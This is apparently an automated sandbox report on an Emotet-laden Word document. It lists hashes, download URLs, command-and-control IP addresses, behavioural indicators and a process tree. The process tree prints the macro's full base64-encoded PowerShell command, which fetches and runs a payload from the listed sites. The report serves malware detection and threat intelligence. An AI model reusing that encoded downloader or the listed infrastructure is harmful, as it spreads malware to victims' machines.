Analysis
-
max time kernel
135s -
max time network
147s -
platform
windows10_x64 -
resource
win10 -
submitted
29-07-2020 01:44
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5_2020-07-29__014446._doc.doc
Resource
win7v200722
General
-
Target
emotet_e1_2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5_2020-07-29__014446._doc.doc
-
Size
172KB
-
MD5
178a5f6daf5e23231856627d16dfcbff
-
SHA1
cfb6eeda8a907bb64b27a39692acc15e93560425
-
SHA256
2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5
-
SHA512
5c299c4ba5f27710a0dc7ad05d5010d8995ec9c0d0f2fe373772138068dfcce3cf32bbb4d40e4eaf30ff56495044ee05f5db7835ada6fb6a8908b2f79ad36da3
Malware Config
Extracted
http://arizonaonsale.com/cgi-bin/VuM64/
https://www.compednet.com/wp-content/Nv55027/
http://eltallerartistico.com/language/Uybj0/
http://classicpaint.net/wp-content/tVS1/
http://closhlab.com/OWN/lUvYIzLMa/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
45.exedescription pid process target process PID 1160 wrote to memory of 1572 1160 45.exe cfgbkend.exe PID 1160 wrote to memory of 1572 1160 45.exe cfgbkend.exe PID 1160 wrote to memory of 1572 1160 45.exe cfgbkend.exe -
Drops file in System32 directory 1 IoCs
Processes:
45.exedescription ioc process File opened for modification C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe 45.exe -
Suspicious use of SetWindowsHookEx 15 IoCs
Processes:
WINWORD.EXE45.execfgbkend.exepid process 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 1160 45.exe 1160 45.exe 1572 cfgbkend.exe 1572 cfgbkend.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3100 WINWORD.EXE 3100 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.execfgbkend.exepid process 2332 powersheLL.exe 2332 powersheLL.exe 2332 powersheLL.exe 1572 cfgbkend.exe 1572 cfgbkend.exe 1572 cfgbkend.exe 1572 cfgbkend.exe 1572 cfgbkend.exe 1572 cfgbkend.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 8 2332 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
45.execfgbkend.exepid process 1160 45.exe 1572 cfgbkend.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2332 3796 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2332 powersheLL.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/1160-10-0x0000000000550000-0x000000000055C000-memory.dmp emotet behavioral2/memory/1572-13-0x00000000006F0000-0x00000000006FC000-memory.dmp emotet -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5_2020-07-29__014446._doc.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3100
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2332
-
C:\Users\Admin\45.exeC:\Users\Admin\45.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1160 -
C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe"C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1572